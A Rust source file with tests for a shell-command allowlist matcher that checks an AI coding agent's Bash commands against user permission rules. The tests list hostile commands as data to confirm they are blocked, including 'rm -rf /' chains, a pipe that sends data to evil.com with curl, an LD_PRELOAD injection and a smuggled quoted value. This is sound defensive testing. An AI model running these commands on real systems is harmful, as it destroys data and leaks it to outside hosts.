1use std::collections::HashSet;
2use std::path::Path;
3
4use crate::cst::{Cmd, check};
5
6pub struct Matcher {
7 exact: HashSet<String>,
8 globs: Vec<Vec<String>>,
9 home: String,
11}
12
13fn canonicalize_home(text: &str, home: &str) -> String {
28 if home.is_empty() || home == "/" {
29 return text.to_string();
30 }
31 let home = home.strip_suffix('/').unwrap_or(home);
32 text.split(' ')
33 .map(|word| match word.strip_prefix("~/") {
34 Some(rest) => format!("{home}/{rest}"),
35 None if word == "~" => home.to_string(),
36 None => word.to_string(),
37 })
38 .collect::<Vec<_>>()
39 .join(" ")
40}
41
42impl Matcher {
43 pub fn load() -> Self {
49 match std::env::var_os("HOME").filter(|_| crate::claude_config_trusted()) {
53 Some(home) => Self::load_from_home(Path::new(&home)),
54 None => Matcher { exact: HashSet::new(), globs: Vec::new(), home: String::new() },
55 }
56 }
57
58 fn load_from_home(home: &Path) -> Self {
59 let mut patterns = Matcher { exact: HashSet::new(), globs: Vec::new(), home: home.to_string_lossy().into_owned() };
60 patterns.load_file(&home.join(".claude/settings.json"));
61 patterns
62 }
63
64 fn load_file(&mut self, path: &Path) {
65 let Ok(contents) = std::fs::read_to_string(path) else {
66 return;
67 };
68 let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
69 return;
70 };
71
72 if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
73 for entry in arr.iter().filter_map(|e| e.as_str()) {
74 self.add_pattern(entry);
75 }
76 }
77
78 if let Some(arr) = value.get("permissions").and_then(|v| v.get("allow")).and_then(|v| v.as_array()) {
79 for entry in arr.iter().filter_map(|e| e.as_str()) {
80 self.add_pattern(entry);
81 }
82 }
83 }
84
85 fn add_pattern(&mut self, entry: &str) {
86 let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
87 return;
88 };
89 if inner.is_empty() {
90 return;
91 }
92 let normalized = if let Some(prefix) = inner.strip_suffix(":*") { format!("{prefix} *") } else { inner.to_string() };
93 let normalized = canonicalize_home(&normalized, &self.home);
94 if normalized.contains('*') {
95 self.globs.push(normalized.split('*').map(String::from).collect());
96 } else {
97 self.exact.insert(normalized);
98 }
99 }
100
101 pub fn matches_cmd(&self, cmd: &Cmd) -> bool {
102 let Cmd::Simple(simple) = cmd else {
103 return false;
104 };
105 let Some(normalized) = check::normalize_for_matching(simple) else {
108 return false;
109 };
110 let normalized = canonicalize_home(normalized.trim(), &self.home);
111 let normalized = normalized.as_str();
112 if normalized.is_empty() {
113 return false;
114 }
115 if self.exact.contains(normalized) {
116 return true;
117 }
118 self.globs.iter().any(|parts| glob_matches(parts, normalized))
119 }
120
121 pub fn is_empty(&self) -> bool {
122 self.exact.is_empty() && self.globs.is_empty()
123 }
124
125 #[cfg(test)]
126 pub(crate) fn from_allow_patterns(patterns: &[&str]) -> Self {
127 let mut m = Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() };
128 for p in patterns {
129 m.add_pattern(&format!("Bash({p})"));
130 }
131 m
132 }
133}
134
135#[cfg(test)]
137const TEST_HOME: &str = "/home/tester";
138
139pub fn is_cmd_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
140 match cmd {
141 Cmd::Simple(_) => check::is_safe_cmd(cmd) || (!check::has_unsafe_syntax(cmd) && patterns.matches_cmd(cmd)),
142 _ => check::is_safe_cmd(cmd),
143 }
144}
145
146fn glob_matches(parts: &[String], text: &str) -> bool {
147 let first = &parts[0];
148 let last = &parts[parts.len() - 1];
149
150 if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
151 let prefix = &first[..first.len() - 1];
152 return text == prefix || text.starts_with(first.as_str());
153 }
154
155 if !text.starts_with(first.as_str()) {
156 return false;
157 }
158 if !text.ends_with(last.as_str()) {
159 return false;
160 }
161 let mut pos = first.len();
162 let end = text.len() - last.len();
163 if pos > end {
164 return false;
165 }
166 for part in &parts[1..parts.len() - 1] {
167 match text[pos..end].find(part.as_str()) {
168 Some(idx) => pos += idx + part.len(),
169 None => return false,
170 }
171 }
172 pos <= end
173}
174
175#[cfg(test)]
176mod tests {
177 use super::*;
178 use std::fs;
179
180 use crate::cst;
181
182 fn empty() -> Matcher {
183 Matcher { exact: HashSet::new(), globs: Vec::new(), home: TEST_HOME.to_string() }
184 }
185
186 fn cmd(s: &str) -> Cmd {
187 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
188 assert_eq!(script.0.len(), 1, "expected single statement: {s}");
189 assert_eq!(script.0[0].pipeline.commands.len(), 1, "expected single command: {s}");
190 script.0[0].pipeline.commands[0].clone()
191 }
192
193 fn segments(command: &str) -> Vec<Cmd> {
194 let script = cst::parse(command).unwrap_or_else(|| panic!("failed to parse: {command}"));
195 script.0.into_iter().flat_map(|stmt| stmt.pipeline.commands).collect()
196 }
197
198 fn is_covered(cmd: &Cmd, patterns: &Matcher) -> bool {
199 is_cmd_covered(cmd, patterns)
200 }
201
202 fn all_covered(command: &str, patterns: &Matcher) -> bool {
203 let Some(script) = cst::parse(command) else {
204 return false;
205 };
206 script
207 .0
208 .iter()
209 .all(|stmt| check::is_safe_pipeline(&stmt.pipeline) || stmt.pipeline.commands.iter().all(|c| is_cmd_covered(c, patterns)))
210 }
211
212 #[test]
213 fn parse_exact_pattern() {
214 let mut p = empty();
215 p.add_pattern("Bash(npm test)");
216 assert!(p.exact.contains("npm test"));
217 assert!(p.globs.is_empty());
218 }
219
220 #[test]
221 fn parse_legacy_colon_star() {
222 let mut p = empty();
223 p.add_pattern("Bash(npm run:*)");
224 assert!(p.exact.is_empty());
225 assert_eq!(p.globs.len(), 1);
226 }
227
228 #[test]
229 fn parse_space_star() {
230 let mut p = empty();
231 p.add_pattern("Bash(npm run *)");
232 assert!(p.exact.is_empty());
233 assert_eq!(p.globs.len(), 1);
234 }
235
236 #[test]
237 fn parse_non_bash_skipped() {
238 let mut p = empty();
239 p.add_pattern("WebFetch");
240 p.add_pattern("XcodeBuildMCP");
241 assert!(p.is_empty());
242 }
243
244 #[test]
245 fn parse_empty_bash_skipped() {
246 let mut p = empty();
247 p.add_pattern("Bash()");
248 assert!(p.is_empty());
249 }
250
251 #[test]
252 fn match_exact() {
253 let mut p = empty();
254 p.add_pattern("Bash(npm test)");
255 assert!(p.matches_cmd(&cmd("npm test")));
256 assert!(!p.matches_cmd(&cmd("npm test --watch")));
257 }
258
259 #[test]
260 fn match_space_star_word_boundary() {
261 let mut p = empty();
262 p.add_pattern("Bash(ls *)");
263 assert!(p.matches_cmd(&cmd("ls -la")));
264 assert!(p.matches_cmd(&cmd("ls foo")));
265 assert!(!p.matches_cmd(&cmd("lsof")));
266 }
267
268 #[test]
269 fn match_star_no_space_no_boundary() {
270 let mut p = empty();
271 p.add_pattern("Bash(ls*)");
272 assert!(p.matches_cmd(&cmd("ls -la")));
273 assert!(p.matches_cmd(&cmd("lsof")));
274 }
275
276 #[test]
277 fn match_legacy_colon_star_word_boundary() {
278 let mut p = empty();
279 p.add_pattern("Bash(npm run:*)");
280 assert!(p.matches_cmd(&cmd("npm run build")));
281 assert!(p.matches_cmd(&cmd("npm run test")));
282 assert!(!p.matches_cmd(&cmd("npm running")));
283 assert!(!p.matches_cmd(&cmd("npm install")));
284 }
285
286 #[test]
287 fn match_star_at_beginning() {
288 let mut p = empty();
289 p.add_pattern("Bash(* --version)");
290 assert!(p.matches_cmd(&cmd("npm --version")));
291 assert!(p.matches_cmd(&cmd("cargo --version")));
292 assert!(!p.matches_cmd(&cmd("npm --help")));
293 }
294
295 #[test]
296 fn match_star_in_middle() {
297 let mut p = empty();
298 p.add_pattern("Bash(git * main)");
299 assert!(p.matches_cmd(&cmd("git checkout main")));
300 assert!(p.matches_cmd(&cmd("git merge main")));
301 assert!(!p.matches_cmd(&cmd("git checkout develop")));
302 }
303
304 #[test]
318 fn match_env_prefix_is_not_stripped() {
319 let mut p = empty();
320 p.add_pattern("Bash(bundle install)");
321 assert!(!p.matches_cmd(&cmd("RACK_ENV=test bundle install")));
322 assert!(p.matches_cmd(&cmd("bundle install")));
323
324 let mut q = empty();
325 q.add_pattern("Bash(RACK_ENV=test bundle install)");
326 assert!(q.matches_cmd(&cmd("RACK_ENV=test bundle install")));
327 }
328
329 #[test]
330 fn match_fd_redirect_stripped() {
331 let mut p = empty();
332 p.add_pattern("Bash(npm test)");
333 assert!(p.matches_cmd(&cmd("npm test 2>&1")));
334 }
335
336 #[test]
337 fn match_fd_redirect_with_glob() {
338 let mut p = empty();
339 p.add_pattern("Bash(npm run *)");
340 assert!(p.matches_cmd(&cmd("npm run test 2>&1")));
341 }
342
343 #[test]
344 fn empty_patterns_match_nothing() {
345 let p = empty();
346 assert!(!p.matches_cmd(&cmd("anything")));
347 }
348
349 #[test]
350 fn match_bare_star_matches_everything() {
351 let mut p = empty();
352 p.add_pattern("Bash(*)");
353 assert!(p.matches_cmd(&cmd("anything at all")));
354 assert!(p.matches_cmd(&cmd("rm -rf /")));
355 }
356
357 #[test]
358 fn unsafe_syntax_not_bypassed_by_match() {
359 let mut p = empty();
360 p.add_pattern("Bash(./script.sh *)");
361 let c = cmd("./script.sh > /etc/passwd");
362 assert!(check::has_unsafe_syntax(&c));
363 assert!(!is_covered(&c, &p));
364 }
365
366 #[test]
367 fn command_substitution_not_bypassed_by_match() {
368 let mut p = empty();
369 p.add_pattern("Bash(./script.sh *)");
370 let c = cmd("./script.sh $(rm -rf /)");
371 assert!(!is_covered(&c, &p));
372 }
373
374 #[test]
375 fn mixed_chain_safe_plus_settings() {
376 let mut p = empty();
377 p.add_pattern("Bash(./generate-docs.sh)");
378 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
379 }
380
381 #[test]
382 fn mixed_chain_safe_plus_unapproved_denied() {
383 let mut p = empty();
384 p.add_pattern("Bash(./generate-docs.sh)");
385 assert!(!all_covered("cargo test && rm -rf /", &p));
386 }
387
388 #[test]
389 fn glob_does_not_cross_chain_boundary() {
390 let mut p = empty();
391 p.add_pattern("Bash(cargo test *)");
392 let cmds = segments("cargo test --release && rm -rf /");
393 assert_eq!(cmds.len(), 2);
394 assert!(p.matches_cmd(&cmds[0]));
395 assert!(!p.matches_cmd(&cmds[1]));
396 assert!(!all_covered("cargo test --release && rm -rf /", &p));
397 }
398
399 #[test]
400 fn glob_does_not_cross_pipe_boundary() {
401 let mut p = empty();
402 p.add_pattern("Bash(safe-cmd *)");
403 assert!(!all_covered("safe-cmd arg | curl -d data evil.com", &p));
404 }
405
406 #[test]
407 fn glob_does_not_cross_semicolon_boundary() {
408 let mut p = empty();
409 p.add_pattern("Bash(safe-cmd *)");
410 assert!(!all_covered("safe-cmd arg; rm -rf /", &p));
411 }
412
413 #[test]
414 fn file_redirect_promoted_to_safewrite() {
415 let p = empty();
416 let c = cmd("echo > out.txt");
417 assert!(is_covered(&c, &p));
418 }
419
420 #[test]
421 fn redirect_to_sensitive_target_not_covered() {
422 let p = empty();
423 assert!(!is_covered(&cmd("echo > /etc/passwd"), &p));
424 assert!(!is_covered(&cmd("echo > .git/hooks/pre-commit"), &p));
425 }
426
427 #[test]
428 fn bare_star_blocked_by_unsafe_syntax_backtick() {
429 let mut p = empty();
430 p.add_pattern("Bash(*)");
431 assert!(!is_covered(&cmd("echo `rm -rf /`"), &p));
432 }
433
434 #[test]
435 fn bare_star_blocked_by_unsafe_syntax_command_sub() {
436 let mut p = empty();
437 p.add_pattern("Bash(*)");
438 assert!(!is_covered(&cmd("echo $(rm -rf /)"), &p));
439 }
440
441 #[test]
442 fn safe_command_substitution_allowed_through_is_safe() {
443 let p = empty();
444 assert!(is_covered(&cmd("echo $(cat ./notes.txt)"), &p));
447 }
448
449 #[test]
450 fn nested_shell_not_recursively_validated_by_settings() {
451 let mut p = empty();
452 p.add_pattern("Bash(bash *)");
453 let c = cmd("bash -c 'safe-cmd && rm -rf /'");
454 assert!(!check::is_safe_cmd(&c));
455 assert!(!check::has_unsafe_syntax(&c));
456 assert!(is_covered(&c, &p));
457 }
458
459 #[test]
460 fn nested_shell_redirect_promoted_to_safewrite() {
461 let p = empty();
462 let c = cmd("bash -c 'echo hello' > /tmp/out");
463 assert!(is_covered(&c, &p));
464 }
465
466 #[test]
467 fn quoted_operators_stay_as_one_segment() {
468 let mut p = empty();
469 p.add_pattern("Bash(./script *)");
470 assert!(all_covered("./script 'arg && rm -rf /'", &p));
471 }
472
473 #[test]
474 fn load_from_home_reads_home_settings() {
475 let home = tempfile::tempdir().unwrap();
476 let claude_dir = home.path().join(".claude");
477 fs::create_dir_all(&claude_dir).unwrap();
478 fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
479 let p = Matcher::load_from_home(home.path());
480 assert!(p.matches_cmd(&cmd("./generate-docs.sh")));
481 assert!(p.matches_cmd(&cmd("./generate-docs.sh --verbose")));
482 assert!(!p.matches_cmd(&cmd("./evil.sh")));
483 }
484
485 #[test]
486 fn load_from_home_ignores_project_settings() {
487 let home = tempfile::tempdir().unwrap();
491 let project = tempfile::tempdir().unwrap();
492 let project_claude = project.path().join(".claude");
493 fs::create_dir_all(&project_claude).unwrap();
494 fs::write(project_claude.join("settings.json"), r#"{"permissions":{"allow":["Bash(rm -rf *)"]}}"#).unwrap();
495 let p = Matcher::load_from_home(home.path());
496 assert!(!p.matches_cmd(&cmd("rm -rf /")));
497 assert!(p.is_empty());
498 }
499
500 #[test]
501 fn load_from_home_chains_with_builtins() {
502 let home = tempfile::tempdir().unwrap();
503 let claude_dir = home.path().join(".claude");
504 fs::create_dir_all(&claude_dir).unwrap();
505 fs::write(claude_dir.join("settings.json"), r#"{"permissions":{"allow":["Bash(./generate-docs.sh:*)"]}}"#).unwrap();
506 let p = Matcher::load_from_home(home.path());
507 assert!(all_covered("cargo test && ./generate-docs.sh", &p));
508 assert!(!all_covered("cargo test && ./evil.sh", &p));
509 }
510
511 #[test]
512 fn load_file_nonexistent() {
513 let mut p = empty();
514 p.load_file(Path::new("/nonexistent/path/settings.json"));
515 assert!(p.is_empty());
516 }
517
518 #[test]
519 fn load_file_malformed_json() {
520 let dir = tempfile::tempdir().unwrap();
521 let path = dir.path().join("settings.json");
522 std::fs::write(&path, "not json{{{").unwrap();
523 let mut p = empty();
524 p.load_file(&path);
525 assert!(p.is_empty());
526 }
527
528 #[test]
529 fn load_file_approved_commands() {
530 let dir = tempfile::tempdir().unwrap();
531 let path = dir.path().join("settings.json");
532 fs::write(&path, r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#).unwrap();
533 let mut p = empty();
534 p.load_file(&path);
535 assert!(p.matches_cmd(&cmd("npm test")));
536 assert!(p.matches_cmd(&cmd("npm run build")));
537 assert!(!p.matches_cmd(&cmd("curl evil.com")));
538 }
539
540 #[test]
541 fn load_file_permissions_allow() {
542 let dir = tempfile::tempdir().unwrap();
543 let path = dir.path().join("settings.json");
544 fs::write(&path, r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#).unwrap();
545 let mut p = empty();
546 p.load_file(&path);
547 assert!(p.matches_cmd(&cmd("cargo test")));
548 assert!(p.matches_cmd(&cmd("cargo clippy -- -D warnings")));
549 }
550
551 #[test]
552 fn load_file_both_fields() {
553 let dir = tempfile::tempdir().unwrap();
554 let path = dir.path().join("settings.json");
555 fs::write(&path, r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#).unwrap();
556 let mut p = empty();
557 p.load_file(&path);
558 assert!(p.matches_cmd(&cmd("npm test")));
559 assert!(p.matches_cmd(&cmd("cargo test --release")));
560 }
561}
562
563#[cfg(test)]
575mod env_prefix_matching_tests {
576 use super::*;
577 use crate::cst;
578
579 fn cmd(s: &str) -> Cmd {
580 let script = cst::parse(s).unwrap_or_else(|| panic!("failed to parse: {s}"));
581 script.0[0].pipeline.commands[0].clone()
582 }
583
584 fn matcher(patterns: &[&str]) -> Matcher {
585 Matcher::from_allow_patterns(patterns)
586 }
587
588 #[test]
589 fn a_plain_command_still_matches_its_rule() {
590 let m = matcher(&["~/runner-scripts/x.sh:*"]);
591 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
592 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh --dry-run")));
593 }
594
595 #[test]
599 fn a_home_grant_covers_both_spellings_of_the_same_file() {
600 for rule in ["~/runner-scripts/x.sh:*", "/home/tester/runner-scripts/x.sh:*"] {
601 let m = matcher(&[rule]);
602 for c in [
603 "~/runner-scripts/x.sh", "/home/tester/runner-scripts/x.sh", "~/runner-scripts/x.sh --dry-run",
604 "/home/tester/runner-scripts/x.sh --dry-run",
605 ] {
606 assert!(m.matches_cmd(&cmd(c)), "rule `{rule}` missed: {c}");
607 }
608 }
609 }
610
611 #[test]
614 fn a_home_grant_covers_both_spellings_in_an_argument() {
615 let m = matcher(&["osascript -l JavaScript ~/runner-scripts/x.js:*"]);
616 assert!(m.matches_cmd(&cmd("osascript -l JavaScript ~/runner-scripts/x.js --p safe-chains")));
617 assert!(m.matches_cmd(&cmd("osascript -l JavaScript /home/tester/runner-scripts/x.js --p safe-chains")));
618 }
619
620 #[test]
623 fn another_users_home_is_not_expanded() {
624 let m = matcher(&["~/runner-scripts/x.sh:*"]);
625 assert!(!m.matches_cmd(&cmd("~root/runner-scripts/x.sh")));
626 assert!(!m.matches_cmd(&cmd("~other/runner-scripts/x.sh")));
627 }
628
629 #[test]
632 fn a_home_variable_is_not_expanded() {
633 let m = matcher(&["~/runner-scripts/x.sh:*"]);
634 assert!(!m.matches_cmd(&cmd("$HOME/runner-scripts/x.sh")));
635 }
636
637 #[test]
638 fn an_env_prefix_does_not_match_a_rule_without_one() {
639 let m = matcher(&["~/runner-scripts/x.sh:*"]);
640 for c in [
641 "WRITE=1 ~/runner-scripts/x.sh", "WRITE=1 ~/runner-scripts/x.sh --project p", "PROJECT=p ~/runner-scripts/x.sh",
642 "LD_PRELOAD=/tmp/evil.so ~/runner-scripts/x.sh",
643 ] {
644 assert!(!m.matches_cmd(&cmd(c)), "rule without env matched: {c}");
645 }
646 }
647
648 #[test]
649 fn a_rule_that_declares_the_env_prefix_matches_it() {
650 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*", "~/runner-scripts/x.sh:*"]);
652 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh")));
653 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
654 assert!(m.matches_cmd(&cmd("~/runner-scripts/x.sh")));
655 assert!(!m.matches_cmd(&cmd("WRITE=0 ~/runner-scripts/x.sh")));
657 assert!(!m.matches_cmd(&cmd("DEBUG=1 ~/runner-scripts/x.sh")));
658 }
659
660 #[test]
661 fn every_assignment_must_be_accounted_for() {
662 let m = matcher(&["A=1 tool:*"]);
663 assert!(m.matches_cmd(&cmd("A=1 tool")));
664 assert!(!m.matches_cmd(&cmd("A=1 B=2 tool")));
666 assert!(!m.matches_cmd(&cmd("B=2 A=1 tool")));
667 }
668
669 #[test]
670 fn an_exact_rule_behaves_the_same_as_a_glob_rule() {
671 let exact = matcher(&["tool run"]);
672 assert!(exact.matches_cmd(&cmd("tool run")));
673 assert!(!exact.matches_cmd(&cmd("WRITE=1 tool run")));
674 }
675
676 #[test]
682 fn a_value_containing_whitespace_matches_no_rule() {
683 let m = matcher(&["WRITE=1 ~/runner-scripts/x.sh:*"]);
684 assert!(m.matches_cmd(&cmd("WRITE=1 ~/runner-scripts/x.sh --force")));
685 assert!(
686 !m.matches_cmd(&cmd("WRITE='1 ~/runner-scripts/x.sh' rm -rf /")),
687 "a spaced value smuggled the pattern and matched a different program",
688 );
689
690 let n = matcher(&["FOO=bar baz ls"]);
692 assert!(n.matches_cmd(&cmd("FOO=bar baz ls"))); assert!(!n.matches_cmd(&cmd("FOO='bar baz' ls"))); }
695
696 #[test]
700 fn a_quoted_word_still_matches() {
701 let m = matcher(&["git commit -m:*"]);
702 assert!(m.matches_cmd(&cmd("git commit -m 'a message with spaces'")));
703 }
704
705 #[test]
709 fn prepending_any_assignment_breaks_a_match_the_rule_does_not_declare() {
710 let rules = ["tool", "tool:*", "tool sub", "tool sub:*", "~/runner-scripts/x.sh:*"];
711 let commands = ["tool", "tool sub", "tool sub --flag", "~/runner-scripts/x.sh --flag"];
712 let assignments = ["WRITE=1", "PROJECT=p", "LD_PRELOAD=/tmp/e.so", "A=1"];
713
714 let mut checked = 0;
715 for rule in rules {
716 let m = matcher(&[rule]);
717 for c in commands {
718 if !m.matches_cmd(&cmd(c)) {
719 continue; }
721 for a in assignments {
722 let prefixed = format!("{a} {c}");
723 assert!(!m.matches_cmd(&cmd(&prefixed)), "rule `{rule}` matched `{prefixed}` without declaring `{a}`",);
724 checked += 1;
725 }
726 }
727 }
728 assert!(checked > 0, "no rule/command pair matched — the property would be vacuous");
729 }
730}